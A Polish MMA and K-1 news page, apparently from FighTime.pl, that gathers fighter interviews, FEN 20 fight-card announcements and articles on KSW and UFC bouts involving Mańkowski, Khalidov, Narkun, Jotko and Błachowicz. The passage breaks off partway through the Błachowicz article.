W Katowicach, KSW 41, "Diabeł Tasmański" miał sprawić sobie prezent świąteczny. Ale Roberto Soldić go powstrzymał. Od początku walki Chorwat znakomicie pracował nogami. Mańkowski nie był w stanie zagrozić rywalowi, który konsekwentnie go punktował. W trzeciej rundzie walka toczyła się w parterze, a twarz Polaka była zalana krwią. Po jej zakończeniu, narożnik Mańkowskiego zdecydował o poddaniu pojedynku. Nadszedł czas na wnioski. Głos zabrał sam Mańkowski. – Wróciłem z Tajlandii, od walki minęły 3 tygodnie i jest to odpowiedni czas, by coś napisać na temat ostatniej gali. Jak sami wiecie przegrałem… Nie chce się za bardzo tłumaczyć, szukać wymówek i się żalić nad zaistniałą sytuacją, ale coś powiedzieć trzeba. W pierwszej kolejności, pomimo w tym momencie -porażki – sportowej, jak i mojej osobistej, chciałbym podziękować osobom, które były dla mnie ogromnym wsparciem zarówno przed, jak i po gali – napisał zawodnik na swoim Facebooku.

Iść do przodu

A więc trzeba wyciągnąć wnioski z walki z Soldiciem i walczyć o powrót na szczyt. – Niestety oprócz podziękowań, należą się również przeprosiny, ponieważ poprzez różne osobiste problemy i popełnione błędy, zawalczyłem nie tak jak bym sobie tego życzył… To była tylko i wyłącznie moja wina, nikogo innego. Najważniejsze jest jednak to, by wyciągnąć z tego lekcje i więcej nie zawieść WAS, jak i wszystkich osób których wymieniłem wyżej. Pakuję więc torbę, spotykam się ze swoim sztabem, ustawiamy nowy plan, nowe cele i priorytety i szykuje się do tego, by dać jeszcze parę najlepszych walk wieczoru – tłumaczy Borys Mańkowski.

Fot. Borys Mańkowski Facebook

KM

Wielki powrót Szredera na FEN 20!

Marcin Szreder (5-2) powraca do klatki FEN! Mieszkający na co dzień w Warszawie zawodnik wystapi podczas gali Fight Exclusive Night 20 "Next Level", która 10 marca odbędzie się na Torwarze. Znamy zatem pierwszego bohatera trzeciej walki w formule K-1 podczas jubileuszowej edycji.

Dla Marcina Szredera będzie to piąty występ dla Fight Exclusive Night i siódmy zawodowy pojedynek K-1 w karierze. Zdobywca Pucharu Europy WAKO w K-1 i low kick debiutował w klatkoringu FEN pewnym zwycięstwem na punkty z Niemcem tureckiego pochodzenia Aytakiem Yahsim podczas gali FEN 11 "Warsaw Time". W marcu ubiegłego roku podczas FEN 16 "Warsaw Reloaded" już w pierwszej rundzie pokonał Ihara Kamkou, dwukrotnie powalając go na deski, zanim narożnik Białorusina zdecydował się rzucić na ring ręcznik. Do historii FEN przeszły szczególnie emocjonujące starcia Szredera z Arturem Bizewskim, którego również zobaczymy w akcji 10 marca.

W ciągu najbliższych tygodni poznamy rywala, z którym na FEN 20 zmierzy się Marcin Szreder.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Andrzej Grzebyk – 84 kg
  • TBA VS Paweł Trybała -84 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • TBA VS Kamil Łebkowski -66 kg
  • TBA VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Wielki powrót Szredera na FEN 20!

Marcin Szreder (5-2) powraca do klatki FEN! Mieszkający na co dzień w Warszawie zawodnik wystapi podczas gali Fight Exclusive Night 20 "Next Level", która 10 marca odbędzie się na Torwarze. Znamy zatem pierwszego bohatera trzeciej walki w formule K-1 podczas jubileuszowej edycji.

Dla Marcina Szredera będzie to piąty występ dla Fight Exclusive Night i siódmy zawodowy pojedynek K-1 w karierze. Zdobywca Pucharu Europy WAKO w K-1 i low kick debiutował w klatkoringu FEN pewnym zwycięstwem na punkty z Niemcem tureckiego pochodzenia Aytakiem Yahsim podczas gali FEN 11 "Warsaw Time". W marcu ubiegłego roku podczas FEN 16 "Warsaw Reloaded" już w pierwszej rundzie pokonał Ihara Kamkou, dwukrotnie powalając go na deski, zanim narożnik Białorusina zdecydował się rzucić na ring ręcznik. Do historii FEN przeszły szczególnie emocjonujące starcia Szredera z Arturem Bizewskim, którego również zobaczymy w akcji 10 marca.

W ciągu najbliższych tygodni poznamy rywala, z którym na FEN 20 zmierzy się Marcin Szreder.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Andrzej Grzebyk – 84 kg
  • TBA VS Paweł Trybała -84 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • TBA VS Kamil Łebkowski -66 kg
  • TBA VS Krzysztof Kułak -84 kg
  • TBA VS Marcin Szreder 95 formuła K-1

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Kuryłek: Nie osiadać na laurach

W 2017 roku Patryk Kuryłek (57kg) wszedł na wysokie obroty. Zawodnik MKS Wicher Kobyłka pokazał, że nie chce być tłem dla bardziej doświadczonych rywali i od razu wskoczył na pierwszy plan. Do podopiecznego Grzegorza Engela wręcz idealnie pasuje powiedzenie – „apetyt rośnie w miarę jedzenia”. Kuryłek ciężko trenuje, aby utrzymać się na szczycie.

Poświęcenie, ciężka praca i dążenie do realizacji celu – to recepta na sukces. 21-letni Patryk Kuryłek jest konsekwentny i przy wsparciu trenera Grzegorza Engela doskonali swoje umiejętności, co boleśnie odczuwają rywale.

Pójść za ciosem

Legnica, Kartuzy, Sejny, Kobyłka, Innsbruck, Budapeszt – gdzie się nie pojawił, tam zostawiał po sobie wyraźny ślad. Patryk Kuryłek rozpędzony niczym struś pędziwiatr zwyciężał i zapisywał na swoim koncie kolejne osiągnięcia. Mistrzostwo Polski w K-1 i kick light, brązowy medal mistrzostw świata, trzecie miejsce w zawodach Pucharu Świata, triumf w Pucharze Państw Nadbałtyckich Baltic Cup, a do tego zawodowe mistrzostwo Polski K-1. – Rok 2017 był dla mnie pracowity, ale również udany pod względem sportowym. Sukcesy, które w tym sezonie odniosłem, dają mi dużą satysfakcję. Przede wszystkim są dla mnie wyznacznikiem, że ogrom pracy, którą wykonuję każdego dnia pod okiem trenera Engela przynosi rezultaty. Mimo zwycięstw dalej ciężko trenuję, bo jestem na początku kariery sportowej i jeszcze wiele trofeów do zdobycia. Chcę cały czas się rozwijać i co roku być coraz lepszym zawodnikiem – przedstawia FighTime.pl Patryk Kuryłek.

Mimo młodego wieku, mistrz Polski K-1 zachowuje chłodną głowę. – Skupiam się na tym, aby nie osiadać na laurach i po każdych zawodach mam jeszcze większą motywację do ciężkiej pracy. Wiem, że konkurencja nie śpi – podkreśla zawodnik MKS Wicher Kobyłka.

Kuryłek nie ma zamiaru zwalniać tempa. – Plany na 2018 rok to dużo startów i jeszcze więcej pracy. Ja i mój trener, Grzegorz Engel, chcemy wejść na jeszcze wyższy poziom. W tej chwili trenuję dwa razy dziennie. Oczywiście również w weekendy. Wiem, że tyle pracy, ile włożę teraz zaowocuje w moje przyszłe sukcesy – tłumaczy podopieczny Grzegorza Engela.

Jakie plany?

Mistrz Polski w formułach K-1 i kick light przygotowuje się do kolejnych startów. – Co do harmonogramu zawodów, to planujemy łączyć starty amatorskie z zawodowymi. Z tych pewnych imprez, na których wystartuje to: mistrzostwa Polski K-1 i mistrzostwa Polski kick light. 3 lutego zawalczę na zawodowej gali. Będzie to pierwsza walka w 2018 roku, tak więc trzeba ten sezon dobrze rozpocząć. Co do dalszych startów to "wszystko wyjdzie w praniu". Trenuję cały rok, tak więc na pewno będę gotowy na każde wyzwanie – wyjaśnia Patryk Kuryłek.

Fot. Patryk Kuryłek Facebook

KM

Paczuski przed FEN 20: Spodziewam się 10 marca ogromnego dopingu swoich fanów!

Radosław Paczuski będzie bohaterem walki wieczoru podczas gali Fight Exclusive Night 20 „Next Level”. Jego rywalem 10 marca w warszawskiej hali Torwar będzie Stanisław Zaniewski. Na jakim etapie przygotowań jest Paczuski przed tym pojedynkiem? Co sądzi o swoim rywalu? Ilu kibiców przyjdzie go wspierać do hali? Zapraszamy do przeczytania rozmowy z Radosławem Paczuskim!

Dawno temu dowiedziałeś się o tej walce?

Radosław Paczuski: Około miesiąc temu, na pewno trzy miesiące przed pojedynkiem. Cieszę się z tego powodu, bo mój rywal też widział szybciej, więc obaj będziemy mieli okazję na trzymiesięczne przygotowania, a to z kolei jest gwarancją fajerwerków w klatce.

Walka wieczoru podczas jubileuszowej edycji to chyba miła niespodzianka, prawda?

RP: I w dodatku jest to walka o pas, co cieszy mnie jeszcze bardziej. To mój trzeci występ na FEN – właściciele federacji docenili mnie i chcieli dać mi szansę. Stanisław Zaniewski to bardzo dobry zawodnik, jednak ani razu nie mieliśmy okazji stanąć w klatce naprzeciwko siebie. W różnych rankingach to raz ja byłem lepszy, raz on był nade mną, więc walka na FEN 20 będzie okazją do tego, by raz na zawsze rozstrzygnąć, który z nas jest lepszym zawodnikiem.

Jakie emocje towarzyszą ci, gdy mówisz o swoim rywalu?

RP: Normalne, tak jak zawsze. Dla mnie to pojedynek jak każdy inny. Mierzyłem się z zawodnikami ze światowej czołówki, teraz również przyjdzie mi zawalczyć z kimś bardzo dobrym, ale ja skupiam się na sobie. Wierzę w to, że pokażemy kibicom naprawdę dobre widowisko.

Mieliście się kiedyś okazję skonfrontować podczas sparingów?

RP: Nie, nie walczyliśmy nigdy przeciwko sobie, nawet na treningach, choć poznaliśmy się kiedyś i nawet występowaliśmy podczas tej samej gali. Ja walczyłem wtedy z podopiecznym Staszka i wygrałem w pierwszej rundzie przez nokaut, on krzyżował rękawicę chwilę po mnie z innym rywalem.

Przed tobą dwa miesiące ciężkiej pracy, a potem przyjdzie nagroda – tak wielu zawodników mówi na walkę. To ma być nagroda za trud włożony w czasie przygotowań.

RP: Dokładnie – walka to jest nagroda. Każdy lubi już samą walkę.

Nie chciałeś walczyć podczas poprzednich gal? Ostatnio w klatce FEN widzieliśmy cię w maju.

RP: Był temat mojej wcześniejszej walki… z Pawłem Biszczakiem. Nie dogadaliśmy się jednak, bo limit umowny tego starcia to miało być 80 kilogramów. Ja musiałbym zejść 5kg, Paweł 3 przybrać, ale nie chciał się zgodzić. Powiedział, że on walczy tylko w kategorii 77 kilogramów i nie ma od tego odstępstw. Ja z kolei nie byłem w stanie aż tyle zbić, to byłoby dla mnie wręcz niemożliwe. Ostatecznie do tego starcia nie doszło.

A szkoda. Zwłaszcza po tym, co Biszczak zrobił we Wrocławiu z Igorem Danisem.

RP: No właśnie.

W jakiej ty obecnie jesteś formie? Zacząłeś już przygotowania?

RP: Tak, trenuję od miesiąca, choć prawdę mówiąc jestem typem zawodnika, który nie wychodzi z formy i cały czas trenuję. Pod FEN 20 szykuję się od miesiąca, żeby mieć trzymiesięczny okres treningów za sobą wychodząc do klatki.

Czyli miesiąc temu wskoczyłeś po prostu na inne obroty.

RP: Dokładnie. Rozpocząłem treningi z trenerem Andriejem Mołacznowem. Do tego kontynuuję współpracę z moim bratem Kamilem i Rafałem Pawłowskim. Można powiedzieć, że obecnie mam trzech trenerów. Andriej Mołczanow jest bardzo doświadczony, sam był mistrzem świata wielu prestiżowych federacji. Swoje w ringu już spędził. Daje mi cenne wskazówki, które z dnia na dzień czynią mnie coraz lepszym zawodnikiem. Myślę, że to w marcu będzie już widoczne. Zawsze siła była moją mocną stroną, a do tego dojdzie teraz inteligencja w klatce i jeszcze lepsza technika, nad którą pracuję każdego dnia.

Po raz drugi wystąpisz w oktagonie?

RP: Nie, walczyłem już kilka razy w klatce. Oktagon debiutował w Gdyni, kiedy ja walczyłem na FEN 17, ale wcześniej miałem już okazję w niej występować.

Czyli to może być twój atut?

RP: Nie, na pewno nie, bo Staszek też walczył już w klatce – nawet podczas tej gali, na której razem występowaliśmy. Mamy obaj podobne doświadczenie w tym elemencie, więc szanse na pewno będą takie same.

Analizowałeś już styl Stanisława Zaniewskiego? Kilka osób mówi, że lubi pójść na wymianę, ale ma luki w obronie.

RP: Nie, jeszcze go nie analizowałem. Na razie skupiam się na swoim przygotowaniu. Zostawiam to swoim trenerom.

Będziesz oglądał jego walki przed pojedynkiem?

RP: Nie, nie potrzebuję tego. Zaufam swoim trenerom – oni znają się znakomicie na swojej robocie. Trzeba działać profesjonalnie, więc chcę wyjść z zimną głową do klatki i realizować swoje założenia, które oni mi nakreślili.

Ostatnio pojawił się komentarz pod jednym z wpisów na fan page’u FEN, że pojedynki mistrzowskie w formule K-1 generują większe emocje i zainteresowanie kibiców. Ty się z tym zgodzisz?

RP: Opinie są podzielone, ale moim zdaniem walka w formule K-1 dla zwykłego kibica jest bardziej klarowna i przejrzysta. Gdy pojedynek toczy się w stójce, to widać, kto otrzymuje ciosy i kto przeważa. W parterze nie wszystko jest aż tak czytelne na pierwszy rzut oka i trzeba mieć sporą wiedzę, żeby ocenić właściwie, kto w danej rundzie był lepszy przy starciu na styku.

Dużo twoich kibiców pojawi się 10 marca w Warszawie?

RP: Dużo, na pewno. Podczas mojej ostatniej walki w Torwarze było 500 osób, ale teraz powinno nas być więcej. Myślę, że możemy pobić rekord. Stawką walki jest mistrzowski pas, walczę z dobrym rywalem, do tego jubileusz, pojedynek wieczoru – naprawdę spodziewam się wielu fanów w Torwarze.

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Andrzej Grzebyk – 84 kg
  • TBA VS Paweł Trybała -84 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • TBA VS Kamil Łebkowski -66 kg
  • TBA VS Krzysztof Kułak -84 kg
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Wrzosek przed walką z Bizewskim: Artur, przygotuj sobie w narożniku ręcznik!

Arkadiusz Wrzosek (8-4) zmierzy się w pierwszej obronie pasa mistrzowskiego FEN w formule K-1 z Arturem Bizewskim (7-1). Ich starcie, które zaplanowane jest na 10 marca podczas gali „Next Level”, będzie jedną z atrakcji tego wydarzenia. Świeżo upieczony czempion jest przekonany, że premierowa obrona trofeum będzie dla niego udana i pas zostanie w jego posiadaniu.

Artur Bizewski jest przekonany, że wróci z Warszawy z pasem…

AW: Bardzo dobrze! Jest pewny siebie, tym lepiej dla mnie. Musi być pewny siebie, jeżeli w ogóle chce myśleć o tym, żeby mnie pokonać.

To będzie wasz trzeci pojedynek. Mamy zatem trylogię…

AW: Raz wygrał Artur, w Gdańsku, przed rokiem w Warszawie, już na gali FEN, to ja okazałem się lepszy. Teraz już raz na zawsze rozstrzygniemy, który z nas jest lepszy. Czy on, czy ja.

Jak wspominasz pierwszy pojedynek między wami?

AW: To była moja pierwsza walka w karierze, byłem świeży i niedoświadczony. Galę organizował kolega Artura, na trybunach byli jego kibice, do tego mierzyliśmy się w Trójmieście. Walka była w sobotę, a dowiedziałem się o niej we wtorek. Nie byłem moim zdaniem wtedy gorszy, raz nawet Artur był liczony, bodajże w drugiej rundzie. Dali zwycięstwo jemu, bo walczył u siebie, miał przychylność wielu osób. Ja nie podważałem nigdy tej decyzji – po prostu, tak musiało być.

A jak wspominasz waszą drugą walkę?

AW: Byłem trochę spięty, ale przeważałem, wygrałem u każdego z sędziów, ale z tego co pamiętam, niektórzy mieli wątpliwości, a ja pewnie wygrałem każdą z rund. Artur pokazał się z dobrej strony w połowie jednego starcia, a to było za mało, by mnie pokonać.

No i walczyłeś u siebie.

AW: I teraz też zawalczę. Mistrz będzie bronił pasa na swojej ziemi – tak powinno być. Po raz piąty wystąpię na FEN w Warszawie, po raz trzeci będę miał przyjemność stoczyć pojedynek w Torwarze. Lubię tu rywalizować.

Żeby trema cię nie zjadła.

AW: Nie, już mi to nie grozi. Kiedyś może i trochę się denerwowałem, ale te czasy już za mną. Kibice będą mi pomagali, na pewno sporo ich przybędzie do gali, więc Artur: Bój się!

Powiedziałeś ostatnio, że narożnik Artura musi mieć przygotowany ręcznik, bo będzie potrzebny.

AW: Bo tak będzie. Jemu i jego trenerom będzie potrzebny ręcznik. Lepiej niech mają go w gotowości.

Porażka w Dubaju nie wpłynie źle na ciebie?

AW: Myślę, że nie. Przegrałem, mimo że na punkty prowadziłem. Miałem znakomitego rywala, który należy do światowej czołówki. Taki rzeczy się zdarzają. Chwila gapiostwa, jeden cios i obraz pojedynku się zmienia. Byłem zły na siebie, bo mogłem i powinienem to wygrać.

Nauczyła cię czegoś tamta porażka?

AW: Tak, naprawdę dużo. Paradoksalnie może nawet lepiej, że ona przyszła. Może poczułem się zbyt pewny siebie? Może uciekłem myślami tam, gdzie nie trzeba?

Poczułeś, że jesteś nieśmiertelny?

AW: Nie, to nie tak. Chodzi mi o to, że wiem nad czym pracować i na co uważać. Wiem, że muszę być do końca skoncentrowany, bo inaczej mój rywal będzie polował na jeden cios.

Bizewski będzie polował na jeden cios?

AW: Pewnie tak, ale on nie ma 207 centymetrów wzrostu i nie jest tak silny jak mój rywal z Dubaju. To nie jest ta półka, w pojedynku z Arturem to ja będę miał przewagę siły i fizyki. Nie obawiam się tego, że skończy mnie przed czasem, w ogóle się nie obawiam. Wychodzę po swoje i zwyciężam.

Jak każdy.

AW: Jestem mistrzem federacji, co mam powiedzieć? Rok temu daliśmy super walkę, ale ani przez sekundę nie poczułem się zagrożony. Teraz jestem jeszcze lepszy, w dodatku mam trofeum. Mocno się rozwinąłem przez ten czas.

Artur też dwie walki wygrał.

AW: Nie patrzę na niego, skupiam się na sobie. Ja jestem na pewno lepszym zawodnikiem.

Nie miałeś nawet kiedy opić zdobycia pasa mistrzowskiego FEN.

AW: Nie miałem, a już przed walką z Falinem wiedziałem, że czeka mnie chwilę później kolejne starcie. Byłem przygotowany na ten maraton. Po ewentualnym zwycięstwie w Dubaju miałem jeszcze raz wyjść do ringu.

Czyli byłeś na to gotowy.

AW: Tak, ale nie chciałem walczyć kilkanaście dni po porażce przed czasem, musiałem się zregenerować. Na pewno jednak moja walka w Dubaju, a właściwie to jej zakończenie, nie będą miały na mnie wpływu w starciu z Bizonem. Pewnie wygram ten pojedynek.

Karta walk FEN 20:

  • TBA VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Paweł Trybała -84 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • TBA VS Kamil Łebkowski -66 kg
  • TBA VS Krzysztof Kułak -84 kg
  • TBA VS TBA
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Zaniewski kontra Paczuski w walce wieczoru na FEN 20!

Stanisław Zaniewski (48-16) będzie rywalem Radosława Paczuskiego (18-2-0) podczas walki wieczoru na gali Fight Exclusive Night 20 "Next Level". Pojedynek w formule K-1 odbędzie się na dystansie pięciu rund w kategorii wagowej do 85 kilogramów.

Ostatnim razem w klatce FEN Paczuskiego można było oglądać podczas 17. edycji, która w maju odbyła się w Gdyni. Wtedy to 24-latek pokonał przez techniczny nokaut w pierwszej rundzie Menno Van Roosmalena (20-6-2). Później wystąpił jeszcze raz, ale już poza FEN i tam pokonał przed jednogłośną decyzję sędziów pochodzącego z Niemiec Floriana Krogera.

Stanisław Zaniewski pochodzi z Białorusi, ale od wielu lat żyje i trenuje w Polsce. Bardzo udany był dla niego szczególnie 2016 rok, kiedy to stoczył pięć pojedynków i aż cztery z nich wygrał. W 2017 roku zawodnik z Kalisza w dalszym ciągu utrzymywał dużą intensywność startów, a pod koniec października w Rydze pokazał się z dobrej strony podczas KOK 50, gdzie stoczył wyrównany bój z Nikolai'em Bieloziercievem. Zaniewski uchodzi za zawodnika, który lubi ryzykować i nie boi się wymian. Walki z jego udziałem są zawsze pełne emocji i nagłych zwrotów akcji.

– Podczas poprzednich gal przyzwyczailiśmy naszych fanów do tego, że walki wieczoru z formule K-1 mogą się podobać kibicom i nie inaczej będzie i tym razem. Paczuski kontra Zaniewski to coś, co miałem w głowie od samego początku, gdy tylko ogłosiliśmy, że zorganizujemy FEN 20 w Warszawie. Odliczam już dni do tego starcia – powiedział prezes FEN, Paweł Jóźwiak.

Karta walk FEN 20:

  • Stanisław Zaniewski VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Andrzej Grzebyk – 84 kg
  • TBA VS Paweł Trybała -84 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • TBA VS Kamil Łebkowski -66 kg
  • TBA VS Krzysztof Kułak -84 kg
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Andrzej Grzebyk wystąpi na gali FEN 20!

Znamy nazwisko kolejnego bohatera gali FEN 20 "Next Level". 10 marca w warszawskiej hali Torwar do klatki wyjdzie Andrzej Grzebyk (11-3, 4 KO, 3 SUB). Będzie to dla niego powrót do oktagonu FEN po siedmiu miesiącach przerwy.

Dla Andrzeja Grzebyka będzie to czwarty występ w organizacji FEN – w ostatniej walce na gali FEN 18 "Summer Edition" po znakomitej walce pokonał Marcina Naruszczkę, wczesniej, podczas FEN 14, przez techniczny nokaut po pierwszej rundzie wygrał z Białorusinem Alexeyem Repalovem. Na gali nr 9 "Go For It" natomiast uległ minimalnie na punkty Alessandro Di Chirico. Grzebyk jest znany z bardzo ofensywnego stylu walki  – aż 7 z 11 zwycięstw odniósł przez nokaut lub poddanie. Nieprzeciętnie utalentowany reprezentant Legion Team Tarnów może pochwalić się także zwycięstwami w przeszłości nad tak mocnymi fighterami, jak Mindaugas Verzbickas i Kamil Szymuszowski.

– Jedna gala bez Grzebyka to zdecydowanie zbyt dużo. Szykujemy dużą część ze swojego arsenału na Warszawę i Grzebyk będzie jednym z bohaterów gali "Next Level". Zapewniam, że to jeszcze nie koniec i zaskoczymy fanów kolejnymi nazwiskami – powiedział prezes FEN, Paweł Jóźwiak.

Karta walk FEN 20:

  • TBA VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Paweł Trybała -84 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • TBA VS Kamil Łebkowski -66 kg
  • TBA VS Krzysztof Kułak -84 kg
  • TBA VS Andrzej Grzebyk – 84 kg
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Minęli się w Warszawie, zmierzą się w Łodzi

Dwie niekwestionowane gwiazdy KSW staną naprzeciw siebie 3 marca w Łodzi. Mamed Khalidov kontra Tomasz Narkun. To zestawienie ma być prawdziwą gratką dla kibiców.

Michał Materla, Mateusz Gamrot, Ariane Lipski, Łukasz Jurkowski i Karol Bedrof zaprezentują się w Łodzi. Ale pojedynki z ich udziałem będą jedynie przystawką do rywalizacji Khalidova z Narkunem.

Mistrz z mistrzem

37-letni Khalidov to żywa legenda KSW i zarazem zawodnik, który stał się ulubieńcem tłumów. Wszystko przez jego widowiskowy styl walki. Wszyscy doskonale pamiętają jak mistrz wagi średniej efektownie udusił Matta Londlanda czy też poddał mocnego Melvina Manhoefa. A w pojedynku gwiazd polskiego MMA Khalidov w zaledwie 31 sekund powalił na ziemię Michała Materlę. Zapracował na miano króla KSW. Mówiło się o rozmowach z UFC, jednak ponoć przeszkodą były kwestie finansowe. Dziesięć miesięcy temu 37-latek wystąpił na gali ACB 54, gdzie pokonał Luke'a Barnatta. Aby zapisać na swoim koncie 33 zwycięstwo potrzebował 21 sekund! Później zaprezentował się na KSW 39 na stadionie PGE Narodowy. W superfight Khalidov zmierzył się z ówczesnym mistrzem wagi półśredniej Borysem Mańkowskim. Na przestrzeni trzech rund okazał się lepszy. Ostatnią porażkę Khalidov zanotował blisko osiem lat temu! Trzeba dodać, że w KSW jeszcze nigdy nie przegrał.

Podczas warszawskiej gali zaprezentował się również Tomasz Narkun. Mistrz kategorii półcięzkiej pokonał Marcina Wójcika. Należy podkreślić, że Narkun konsekwentnie budował swoją pozycję w organizacji Martina Lewandowskiego i Macieja Kawulskiego. Zadebiutował w niej w maju 2014 roku. Już w pierwszej rundzie zawodnik urodzony w Stargardzie Szczecińskim pokonał przez dźwignię na kolano Charlesa Andrade. Co ciekawe, popularny "Żyrafa" wcześniej z powodzeniem rywalizował w rosyjskiej organizacji M-1, gdzie dotarł do pojedynku o pas mistrzowski. Przegrał jednak z Wiaczesławem Wasilewskim. W KSW Narkun ma na koncie jedną porażkę. Przegrał decyzją sędziów z Goranem Reljiciem, ale rewanż na Chorwacie wziął w najlepszym możliwym momencie. Polak triumfował na gali KSW 32 na Wembley i sięgnął po pas w wadze półcięzkiej. Co niezwykle interesujące, 28-letni Narkun wszystkie sześć zwycięstw w KSW odniósł w pierwszych rundach.

Najtrudniejsze wyzwanie

Przed galą na stadionie PGE Narodowy mówiło się, że Borys Mańkowski staje przed szansą na przejęcie pałeczki największej gwiazdy KSW. Stary mistrz Khalidov wygrał i nadal panuje. Wtedy 37-latek walczył z zawodnikiem lżejszym, na KSW 42 czeka go cięższe wyzwanie.

Dla Narkuna to próba, aby wybić się na pierwszy plan i stać główną gwiazdą KSW. Czy upora się ze zwinnym Khalidovem? Ten już może i nie jest najszybszy, ale jego umysł pracuje z niesamowitą prędkością, a nogi i ręce są zwinne. Jeden mocny cios może wszystko zmienić. Każde panowanie się kiedyś kończy. Czy w Łodzi nastąpi koronowanie nowego króla KSW? Trzeba poczekać do 3 marca.

Fot. Tomasz Narkun Facebook

KM

Powrót coraz bliżej?

Wszystko jest na najlepszej drodze, aby Krzysztof Jotko ponownie zaprezentował się w oktagonie. Polski zawodnik wraca do pełni sił po kontuzji dłoni.

Swego czasu 28-latek był wymieniany wśród kandydatów do walki o pas wagi średniej. Ostatnio nie miał dobrej passy. Dodatkowo doznał kontuzji.

Po raz kolejny

W 2015 roku Krzysztof Jotko szykował się do występu na gali UFC Fight Night 64, która odbyła się w Krakowie. Amerykańska organizacja po raz pierwszy zagościła w Polsce. Jednak zawodnikowi urodzonemu w Elblągu nie dane było zaprezentować się w Krakowie. Jotko miał zmierzyć się z Garrethem McLellanem, ale na przeszkodzie stanęła mu kontuzja. Podczas sparingu w USA Polak złamał lewą rękę. Wcześniej podobnego urazu doznał w starciu z Torem Troengiem.

Jotko wrócił do rywalizacji w UFC w październiku 2015 roku. Podczas gali w Dublinie Polak pokonał Scotta Askhama. Tym samym odniósł drugie zwycięstwo z rzędu i w następnych starciach potwierdzał dobrą dyspozycję. W TD Place Arenie w Ottawie, UFC Fight Night 89, w niecałą minutę na łopatki rozłożył Tamdana McCrory'ego. Jego akcję poszły w górę po pokonaniu mocnego Thalesa Leitesa. Mówiło się nawet, że Jotko jest o krok od walki o pas. Ale dwa kolejne pojedynki zupełnie zmieniły położenie Polaka. Najpierw Jotko przegrał z Davidem Branchem, a później przed czasem z Uriahem Hallem. Starcie z doświadczonym Amerykaninem, 28-latek rozpoczął znakomicie. Najpierw świetne podbródkowe, potem sprowadzenie do parteru i próba zakończenia walki przed czasem. Jednak kolejne minuty wyglądały zupełnie inaczej. W drugiej rundzie Hall przebudził się. Amerykanin próbował kopnięć z obrotu, jednak nie doszły do celu. W końcu Hall trafił Polaka mocnym ciosem z prawej ręki. Jotko przegrał drugą walkę z rzędu i nabawił się kontuzji. 28-latek musiał poddać się operacji prawej ręki.

Czas na powrót

Gdyby nie uraz, prawdopodobnie Krzysztof Jotko zmierzyłby się z legendarnym Lyoto Machidą. Absencja zawodnika objęła również termin gali UFC w Gdańsku. Wygląda na to, że już niebawem Jotko będzie mógł analizować propozycje i szykować się do kolejnych pojedynków. – Mam  za sobą wizytę u doktora Gellmana, który powiedział, że jestem w 100 proc. gotowy, żeby nokautować ludzi. Pan Jotko wrócił – napisał na Twitterze Krzysztof Jotko.

Fot. Krzysztof Jotko Twitter

KM

Szansa na rewanż

Jan Błachowicz szykuje się do kolejnej walki w UFC. 34-letni Polak zmierzy się z Jimim Manuwą, z którym blisko trzy lata temu przegrał w Krakowie. Walka odbędzie się na gali UFC Fight Night 127 w Londynie.

Błachowicz wygrał dwa ostatnie pojedynki, więc jest w gazie. Czy podtrzyma dobrą passę, a zarazem zrewanżuje się za porażkę poniesioną na UFC Fight Night 64?

Pasywny Błachowicz

Polak przebojem wdarł się do najlepszej organizacji MMA na świecie i w debiucie efektownie pokonał Ilira Latifiego. W pierwszej rundzie Błachowicz oszołomił Szweda. Wszyscy zachwycali się znakomitą postawą byłego mistrza KSW i wiązali duże nadzieje z jego rozwojem w UFC. W kolejnej walce Błachowicz miał zmierzyć się z Jimim Manuwą. Mocnym zawodnikiem, który wtedy miał na koncie tylko jedną porażkę – z Alexandrem Gustafssonem. Atutem Polaka miał być fakt, że gala UFC Fight Night 64 odbywała się w Krakowie.

